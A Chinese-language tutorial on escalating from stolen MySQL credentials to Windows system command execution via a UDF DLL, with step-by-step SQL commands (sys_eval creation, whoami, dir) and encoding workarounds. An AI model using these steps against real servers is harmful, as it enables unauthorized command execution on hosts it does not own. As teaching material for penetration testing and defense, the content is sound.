本文解析Windows环境下的MySQL UDF提权
MySQL UDF提权
Windows环境下
概述
有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接,我们远程登录上mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑UDF进行提权
UDF(User Defined Function):用户自定义函数,其为MySQL的一个拓展接口,可以使用UDF为MySQL增添一些函数
前提条件
获取mysql控制权限:知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)
mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空
mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限
手工提权
查看MySQL是否有写入文件的权限
1 | mysql> show global variables like '%secure%'; |
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
当
secure_file_priv的值为null,表示限制mysqld 不允许导入|导出当
secure_file_priv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下当
secure_file_priv没有具体值时,表示不对mysqld 的导入|导出做限制
如果secure_file_priv的值不是为空,我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' '
写入动态链接库
动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为.dll,在linux环境下后缀名为.so,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数
| 版本 | 路径 |
|---|---|
| MySQL < 5.0 | 导出路径随意; |
| 5.0 <= MySQL<= 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/或c:/windows) |
| MySQL > 5.1 | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
查看版本
1 | mysql> select version(); |
查看plugin所在目录
1 | mysql> show variables like '%plugin%'; |
虽然plugin目录不存在但是这里会显示出来
我这边版本大于5.7.26,所以放在/lib/plugin下,但需要手动创建,网上说可以结合ntfs特性实现用MySQL创建文件夹,但是我这边尝试失败,为了实验需要,我自己创建一个plugin文件夹
查看系统架构
1 | mysql> show variables like '%compile%'; |
如上显示mysql是64位,操作系统是x86_64
这里我们上传64位的dll文件
直接写入16进制数据:
创建自定义函数
上传之后,使用如下命令创建自定义函数
1 | create function sys_eval returns string soname 'udf.dll'; |
只有两个变量:
- 一个是函数名,我们引入的函数是
sys_eval - 一个是共享包名称,即
udf.dll
注意:自定义函数并不是随便命名的,其名称要dll文件中我们自定义函数名称一样
然后使用命令查看是否新增sys_eval函数
1 | mysql> select * from mysql.func; |
执行系统命令
1 | mysql> select sys_eval('whoami'); |
删除自定义函数
1 | drop function sys_eval; |
UDF shell
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了
t00ls UDF.PHP 简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多
使用时将udf.php放在WWW目录下,访问127.0.0.1/udf.php,登录后:

也可以用Navicat MySQL
中文字符编码问题
在中文Windows系统环境下,cmd.exe默认使用GBK字符集进行输入输出处理,这意味着:
- 从数据库传递给cmd的命令参数必须是GBK编码
- cmd执行结果的输出也是GBK编码
- 如果字符集不匹配,就会出现乱码或命令执行失败
输出结果编码错误
在中文Windows环境下MySQL UDF提权中,最常见的问题是执行结果的编码问题:
1 | select sys_eval('dir F:\\'); |

对应的解决办法很简单,udf函数外加一层编码转化的函数
1 | select convert(sys_eval('dir F:\\') using gbk); |

命令中非ASCII字符处理
当命令参数包含中文,由于MySQL输入会根据默认字符集(utf8mb4/latin1)编码对应的命令进入命令行解释器
1 | select convert(sys_eval('dir F:\\黑子') using gbk); |

发现中文消失不见了,如何解决呢?
16进制编码
使用CyberChef将命令转换为对应编码的十六进制

然后使用十六进制替代原有的字符串,防止MySQL因为默认编码问题导致的含有中文命令执行错误问题
注意:16进制编码时不用多加个\进行转义
1 | select convert(sys_eval(0x64697220463a5cbadad7d3) using gbk); |

编码函数
既然又是编码问题,那再次使用MySQL的编码转化的函数不就好了吗?何必转成16进制这么麻烦
1 | select convert(sys_eval(convert('dir F:\\黑子' using gbk)) using gbk); |

参考: